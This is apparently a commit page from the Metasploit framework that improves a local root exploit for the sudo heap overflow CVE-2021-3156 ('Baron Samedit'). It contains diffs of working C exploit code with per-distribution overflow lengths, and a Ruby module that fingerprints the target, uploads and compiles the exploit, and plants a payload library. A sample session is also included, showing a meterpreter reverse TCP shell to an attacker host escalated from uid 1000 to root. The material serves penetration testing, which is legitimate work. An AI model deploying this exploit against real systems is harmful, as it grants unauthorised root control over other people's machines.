Land #14740, CVE-2021-3156 Sudo LPE (AKA: Baron Samedit) Improvements
This commit is contained in:
commit
edea755096
|
@ -36,32 +36,44 @@
|
|||
#define SUDOEDIT_PATH "/usr/bin/sudoedit"
|
||||
|
||||
typedef struct {
|
||||
char *target_name;
|
||||
char *name;
|
||||
char *sudoedit_path;
|
||||
uint32_t smash_len_a;
|
||||
uint32_t smash_len_b;
|
||||
uint32_t null_stomp_len;
|
||||
uint32_t lc_all_len;
|
||||
char *overwrite_path;
|
||||
} target_t;
|
||||
|
||||
/* main from: https://github.com/blasty/CVE-2021-3156/blob/main/hax.c */
|
||||
int exploit(int argc, char *argv[]) {
|
||||
if (argc != 5) {
|
||||
char *lib_path = "X/P0P_SH3LLZ_";
|
||||
if (!((argc == 5) || (argc == 6))) {
|
||||
return -1;
|
||||
}
|
||||
/* if an extra argument is specified, it is component of the library path to
|
||||
* load that is overwritten and must be exactly 11 characters long
|
||||
*/
|
||||
if (argc == 6) {
|
||||
if (strlen(argv[5]) != 11) {
|
||||
return -1;
|
||||
}
|
||||
lib_path = argv[5];
|
||||
}
|
||||
|
||||
target_t *target = NULL;
|
||||
target = malloc(sizeof(target_t));
|
||||
target->target_name = "Manual";
|
||||
target->name = "Manual";
|
||||
target->sudoedit_path = SUDOEDIT_PATH;
|
||||
target->smash_len_a = atoi(argv[1]);
|
||||
target->smash_len_b = atoi(argv[2]);
|
||||
target->null_stomp_len = atoi(argv[3]);
|
||||
target->lc_all_len = atoi(argv[4]);
|
||||
target->overwrite_path = lib_path;
|
||||
|
||||
printf(
|
||||
"using target: %s '%s' (%d, %d, %d, %d)\n",
|
||||
target->target_name,
|
||||
target->name,
|
||||
target->sudoedit_path,
|
||||
target->smash_len_a,
|
||||
target->smash_len_b,
|
||||
|
@ -88,7 +100,7 @@ int exploit(int argc, char *argv[]) {
|
|||
for(int i = 0; i < target->null_stomp_len; i++) {
|
||||
s_envp[envp_pos++] = "\\";
|
||||
}
|
||||
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
|
||||
s_envp[envp_pos++] = target->overwrite_path;
|
||||
|
||||
char *lc_all = calloc(target->lc_all_len + 16, 1);
|
||||
strcpy(lc_all, "LC_ALL=C.UTF-8@");
|
||||
|
|
|
@ -64,13 +64,13 @@ The lengths to set as used by the manual target. See the "Manual Target" section
|
|||
```
|
||||
msf6 exploit(multi/ssh/sshexec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] 192.168.159.34:22 - Sending stager...
|
||||
[*] Command Stager progress - 47.24% done (410/868 bytes)
|
||||
[*] Sending stage (3008420 bytes) to 192.168.159.34
|
||||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.34:45494) at 2021-02-03 17:14:42 -0500
|
||||
[*] Command Stager progress - 42.75% done (342/800 bytes)
|
||||
[*] Sending stage (980808 bytes) to 192.168.159.34
|
||||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.34:47868) at 2021-02-11 11:55:21 -0500
|
||||
[!] Timed out while waiting for command to return
|
||||
[*] Command Stager progress - 100.00% done (868/868 bytes)
|
||||
[*] Command Stager progress - 100.00% done (800/800 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: smcintyre @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000)
|
||||
|
@ -78,39 +78,41 @@ meterpreter > sysinfo
|
|||
Computer : 192.168.159.34
|
||||
OS : Ubuntu 20.04 (Linux 5.8.0-41-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > background
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf6 exploit(multi/ssh/sshexec) > use exploit/linux/local/sudo_baron_samedit
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/ssh/sshexec) > use exploit/linux/local/sudo_baron_samedit
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/sudo_baron_samedit) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf6 exploit(linux/local/sudo_baron_samedit) > set LHOST 192.168.159.128
|
||||
LHOST => 192.168.159.128
|
||||
msf6 exploit(linux/local/sudo_baron_samedit) > set TARGET 1
|
||||
TARGET => 1
|
||||
msf6 exploit(linux/local/sudo_baron_samedit) > set TARGET Automatic
|
||||
TARGET => Automatic
|
||||
msf6 exploit(linux/local/sudo_baron_samedit) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Executing automatic check (disable AutoCheck to override)
|
||||
[+] The target appears to be vulnerable. sudo 1.8.31 is a vulnerable build.
|
||||
[*] Writing '/tmp/CEmBxB3Sec.c' (3666 bytes) ...
|
||||
[*] Writing '/tmp/libnss_X/P0P_SH3LLZ_ .so.2' (532 bytes) ...
|
||||
[!] The service is running, but could not be validated. sudo 1.8.31 maybe a vulnerable build.
|
||||
[*] Using automatically selected target: Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)
|
||||
[*] Writing '/tmp/libnss_9S9MeS/tB8M .so.2' (564 bytes) ...
|
||||
[*] Sending stage (3008420 bytes) to 192.168.159.34
|
||||
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.34:45496) at 2021-02-03 17:15:29 -0500
|
||||
[+] Deleted /tmp/CEmBxB3Sec.c
|
||||
[+] Deleted /tmp/CEmBxB3Sec
|
||||
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.34:47870) at 2021-02-11 11:55:56 -0500
|
||||
[+] Deleted /tmp/p60htQTDNO
|
||||
[+] Deleted /tmp/libnss_9S9MeS/tB8M .so.2
|
||||
[+] Deleted /tmp/libnss_9S9MeS
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root @ ubuntu (uid=1000, gid=1000, euid=0, egid=0)
|
||||
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.159.34
|
||||
OS : Ubuntu 20.04 (Linux 5.8.0-41-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
[1]: https://github.com/blasty/CVE-2021-3156
|
||||
|
|
|
@ -79,10 +79,11 @@ module Msf::Post::File
|
|||
|
||||
# create and mark directory for cleanup
|
||||
def mkdir(path)
|
||||
result = nil
|
||||
vprint_status("Creating directory #{path}")
|
||||
if session.type == 'meterpreter'
|
||||
vprint_status("Meterpreter Session")
|
||||
result = session.fs.dir.mkdir(path)
|
||||
# behave like mkdir -p and don't throw an error if the directory exists
|
||||
result = session.fs.dir.mkdir(path) unless directory?(path)
|
||||
else
|
||||
if session.platform == 'windows'
|
||||
result = cmd_exec("mkdir \"#{path}\"")
|
||||
|
|
|
@ -30,7 +30,7 @@ module Compile
|
|||
def upload_and_compile(path, data, gcc_args='')
|
||||
write_file "#{path}.c", strip_comments(data)
|
||||
|
||||
gcc_cmd = "gcc -o #{path} #{path}.c"
|
||||
gcc_cmd = "gcc -o '#{path}' '#{path}.c'"
|
||||
if session.type.eql? 'shell'
|
||||
gcc_cmd = "PATH=\"$PATH:/usr/bin/\" #{gcc_cmd}"
|
||||
end
|
||||
|
|
|
@ -19,7 +19,7 @@ module System
|
|||
|
||||
# Debian
|
||||
if etc_files.include?("debian_version")
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'').strip
|
||||
if kernel_version =~ /Ubuntu/
|
||||
system_data[:distro] = "ubuntu"
|
||||
system_data[:version] = version
|
||||
|
@ -30,7 +30,7 @@ module System
|
|||
|
||||
# Amazon / CentOS
|
||||
elsif etc_files.include?('system-release')
|
||||
version = read_file('/etc/system-release').gsub(/\n|\\n|\\l/,'')
|
||||
version = read_file('/etc/system-release').gsub(/\n|\\n|\\l/,'').strip
|
||||
if version.include? 'CentOS'
|
||||
system_data[:distro] = 'centos'
|
||||
system_data[:version] = version
|
||||
|
@ -41,49 +41,49 @@ module System
|
|||
|
||||
# Alpine
|
||||
elsif etc_files.include?('alpine-release')
|
||||
version = read_file('/etc/alpine-release').gsub(/\n|\\n|\\l/,'')
|
||||
version = read_file('/etc/alpine-release').gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = 'alpine'
|
||||
system_data[:version] = version
|
||||
|
||||
# Fedora
|
||||
elsif etc_files.include?("fedora-release")
|
||||
version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'')
|
||||
version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "fedora"
|
||||
system_data[:version] = version
|
||||
|
||||
# Oracle Linux
|
||||
elsif etc_files.include?("enterprise-release")
|
||||
version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'')
|
||||
version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "oracle"
|
||||
system_data[:version] = version
|
||||
|
||||
# RedHat
|
||||
elsif etc_files.include?("redhat-release")
|
||||
version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'')
|
||||
version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "redhat"
|
||||
system_data[:version] = version
|
||||
|
||||
# Arch
|
||||
elsif etc_files.include?("arch-release")
|
||||
version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'')
|
||||
version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "arch"
|
||||
system_data[:version] = version
|
||||
|
||||
# Slackware
|
||||
elsif etc_files.include?("slackware-version")
|
||||
version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'')
|
||||
version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "slackware"
|
||||
system_data[:version] = version
|
||||
|
||||
# Mandrake
|
||||
elsif etc_files.include?("mandrake-release")
|
||||
version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'')
|
||||
version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "mandrake"
|
||||
system_data[:version] = version
|
||||
|
||||
# SuSE
|
||||
elsif etc_files.include?("SuSE-release")
|
||||
version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'')
|
||||
version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "suse"
|
||||
system_data[:version] = version
|
||||
|
||||
|
@ -95,19 +95,19 @@ module System
|
|||
|
||||
# Gentoo
|
||||
elsif etc_files.include?("gentoo-release")
|
||||
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'')
|
||||
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "gentoo"
|
||||
system_data[:version] = version
|
||||
|
||||
# Openwall
|
||||
elsif etc_files.include?("owl-release")
|
||||
version = read_file("/etc/owl-release").gsub(/\n|\\n|\\l/,'')
|
||||
version = read_file("/etc/owl-release").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = 'openwall'
|
||||
system_data[:version] = version
|
||||
|
||||
# Generic
|
||||
elsif etc_files.include?("issue")
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'').strip
|
||||
system_data[:distro] = "linux"
|
||||
system_data[:version] = version
|
||||
|
||||
|
|
|
@ -46,13 +46,15 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Manual', {} ],
|
||||
[ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)', { lengths: [ 56, 54, 63, 200 ] } ],
|
||||
[ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { lengths: [ 56, 54, 63, 212 ] } ],
|
||||
[ 'Debian 10 x64 (sudo v1.8.27, libc v2.28)', { lengths: [ 64, 49, 60, 214 ] } ],
|
||||
[ 'Automatic', { } ],
|
||||
[ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)', { lengths: [ 56, 54, 63, 200 ], version_fingerprint: /^Ubuntu 20\.04/ } ],
|
||||
[ 'Ubuntu 19.04 x64 (sudo v1.8.27, libc v2.29)', { lengths: [ 56, 54, 63, 212 ], version_fingerprint: /^Ubuntu 19\.04/ } ],
|
||||
[ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { lengths: [ 56, 54, 63, 212 ], version_fingerprint: /^Ubuntu 18\.04/ } ],
|
||||
[ 'Debian 10 x64 (sudo v1.8.27, libc v2.28)', { lengths: [ 64, 49, 60, 214 ], version_fingerprint: /^Debian GNU\/Linux 10$/ } ],
|
||||
[ 'Manual', { } ],
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'Arch' => ARCH_X64,
|
||||
'DefaultTarget' => 0,
|
||||
'Arch' => ARCH_X64,
|
||||
'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true, 'WfsDelay' => 10 },
|
||||
'DisclosureDate' => '2021-01-26',
|
||||
'Notes' => {
|
||||
|
@ -112,24 +114,43 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
write_file path, data
|
||||
register_file_for_cleanup(path)
|
||||
end
|
||||
|
||||
def get_automatic_target
|
||||
sysinfo = get_sysinfo
|
||||
|
||||
target = targets.find { |target| target.opts[:version_fingerprint]&.match(sysinfo[:version]) }
|
||||
fail_with(Failure::NoTarget, 'Failed to automatically identify the target.') if target.nil?
|
||||
print_status("Using automatically selected target: #{target.name}")
|
||||
target
|
||||
end
|
||||
|
||||
def exploit
|
||||
if target.name == 'Manual'
|
||||
fail_with(Failure::BadConfig, 'The "Lengths" advanced option must be specified for the manual target') if datastore['Lengths'].blank?
|
||||
arguments = datastore['Lengths'].gsub(/,/, ' ').gsub(/ +/, ' ')
|
||||
lengths = datastore['Lengths'].gsub(/,/, ' ').gsub(/ +/, ' ')
|
||||
else
|
||||
arguments = target[:lengths].join(' ')
|
||||
lengths = (target.name == 'Automatic' ? get_automatic_target : target)[:lengths].join(' ')
|
||||
end
|
||||
|
||||
fail_with(Failure::NotFound, 'The gcc binary was not found') unless has_gcc?
|
||||
|
||||
path = datastore['WritableDir']
|
||||
cmd_exec("mkdir -p #{path}/libnss_X")
|
||||
|
||||
file_name = rand_text_alphanumeric(5..10)
|
||||
upload_and_compile("#{path}/#{file_name}", exploit_data('CVE-2021-3156', 'exploit.c'), '-lutil')
|
||||
upload("#{path}/libnss_X/P0P_SH3LLZ_ .so.2", generate_payload_dll)
|
||||
cmd_exec("#{path}/#{file_name} #{arguments}")
|
||||
exe_file_name = rand_text_alphanumeric(5..10)
|
||||
overwrite_path = rand_overwrite_path # the part that is overwritten in memory to construct the full path
|
||||
lib_file_path = "libnss_#{overwrite_path} .so.2" # the full path
|
||||
|
||||
upload_and_compile("#{path}/#{exe_file_name}", exploit_data('CVE-2021-3156', 'exploit.c'), '-lutil')
|
||||
register_files_for_cleanup("#{path}/#{exe_file_name}")
|
||||
mkdir("#{path}/#{lib_file_path.rpartition('/').first}")
|
||||
upload("#{path}/#{lib_file_path}", generate_payload_dll)
|
||||
cmd_exec("'#{path}/#{exe_file_name}' #{lengths} '#{overwrite_path}'")
|
||||
end
|
||||
|
||||
def rand_overwrite_path
|
||||
split_pos = rand(10)
|
||||
"#{rand_text_alphanumeric(split_pos)}/#{rand_text_alphanumeric(10 - split_pos)}"
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue